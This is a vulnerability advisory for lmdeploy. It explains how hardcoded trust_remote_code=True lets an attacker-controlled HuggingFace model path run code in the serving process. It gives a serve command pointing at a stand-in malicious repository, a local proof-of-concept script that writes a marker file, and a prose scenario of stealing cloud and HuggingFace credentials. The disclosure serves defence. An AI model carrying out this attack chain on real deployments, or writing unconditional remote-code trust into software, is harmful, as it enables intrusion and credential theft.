CVE-2026-46432: lmdeploy: hardcoded trust_remote_code enables RCE

## Summary lmdeploy hardcodes `trust_remote_code=True` in multiple HuggingFace model-loading call sites. The affected code paths are in: ```text lmdeploy/archs.py lmdeploy/utils.py ```` The vulnerable call sites pass `trust_remote_code=True` into HuggingFace Transformers APIs such as `AutoConfig.from_pretrained()`, `PretrainedConfig.get_config_dict()`, and `GenerationConfig.from_pretrained()`. Because the model path is supplied by the operator or deployment configuration, an attacker who can control the `model_path` used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository. Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process. ## Affected version Confirmed affected: ```text lmdeploy <= 0.12.3 ``` The issue was verified on `v0.12.3` and on `main`. ## Vulnerable code Confirmed call sites: ```text lmdeploy/archs.py:154 AutoConfig.from_pretrained(..., trust_remote_code=True) lmdeploy/archs.py:157 PretrainedConfig.get_config_dict(..., trust_remote_code=True) lmdeploy/utils.py:225 GenerationConfig.from_pretrained(..., trust_remote_code=True) ``` The vulnerable pattern is: ```python AutoConfig.from_pretrained(model_path, trust_remote_code=True) ``` and: ```python GenerationConfig.from_pretrained(path, trust_remote_code=True) ``` The risk is that `trust_remote_code=True` is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option. ## Attack scenario 1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving. 2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example: ```text attacker-org/malicious-model ``` 3. The lmdeploy serving process starts with that model path: ```bash lmdeploy serve api_server attacker-org/malicious-model ``` 4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with `trust_remote_code=True`. 5. Transformers loads and executes remote Python code from the attacker-controlled model repository. 6. The payload runs with the privileges of the lmdeploy serving process. ## Why this is security-sensitive `trust_remote_code=True` is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading. In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as `--trust-remote-code`. lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources. ## Proof of concept The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with `trust_remote_code=True` and shows that remote model code would execute during initialization. ```python #!/usr/bin/env python3 from __future__ import annotations import argparse import importlib.util import os import sys import tempfile from pathlib import Path MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF") MALICIOUS_MODEL = "attacker-org/malicious-model" def simulate_lmdeploy_model_load(model_path: str) -> None: """ Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded. Real vulnerable pattern: AutoConfig.from_pretrained(model_path, trust_remote_code=True) GenerationConfig.from_pretrained(path, trust_remote_code=True) When trust_remote_code=True, a malicious HuggingFace model repository can execute custom Python code during loading. """ fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_")) module_name = model_path.split("/")[-1].replace("-", "_") modeling_file = fake_model_dir / f"modeling_{module_name}.py" payload = f''' import os from pathlib import Path Path("{MARKER}").write_text( "lmdeploy trust_remote_code execution confirmed\\n" f"model_path={model_path!r}\\n" f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n" ) ''' modeling_file.write_text(payload) spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file) assert spec is not None and spec.loader is not None mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--model-id", default=MALICIOUS_MODEL) args = parser.parse_args() if MARKER.exists(): MARKER.unlink() print(f"[*] Simulating lmdeploy loading model: {args.model_id}") print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths") simulate_lmdeploy_model_load(args.model_id) if MARKER.exists(): print("[+] Code execution confirmed") print(MARKER.read_text()) return 0 print("[-] Marker file was not created", file=sys.stderr) return 1 if __name__ == "__main__": raise SystemExit(main()) ``` Expected result: ```text [+] Code execution confirmed ``` The marker file is written to: ```text /tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF ``` ## Impact An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization. The attacker may be able to: * Read files accessible to the lmdeploy process. * Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys. * Modify model-serving behavior or tamper with responses. * Execute arbitrary operating-system commands. * Access request data or internal service credentials available to the serving process. * Cause denial of service by crashing or destabilizing the serving daemon. * Pivot to internal services reachable from the lmdeploy host or container.

An attacker with write access to a Kubernetes ConfigMap or a shared MLOps platform's model registry configuration modifies the model identifier parameter to point to an attacker-controlled HuggingFace repository (e.g., attacker-org/malicious-llm). The repository contains a well-formed model card and a malicious modeling script whose import-time code reads HUGGING_FACE_HUB_TOKEN, AWS_SECRET_ACCESS_KEY, and other credentials from the process environment, then exfiltrates them to an attacker-controlled HTTPS endpoint. When the lmdeploy pod restarts on the next scheduled rollout or node replacement, lmdeploy calls AutoConfig.from_pretrained('attacker-org/malicious-llm', trust_remote_code=True), HuggingFace Transformers downloads and executes the script, and the payload completes silently — the serving process continues normally, responses appear legitimate, and no anomaly appears in model outputs or application logs. The attacker now holds valid cloud credentials and a HuggingFace token with access to private model repositories.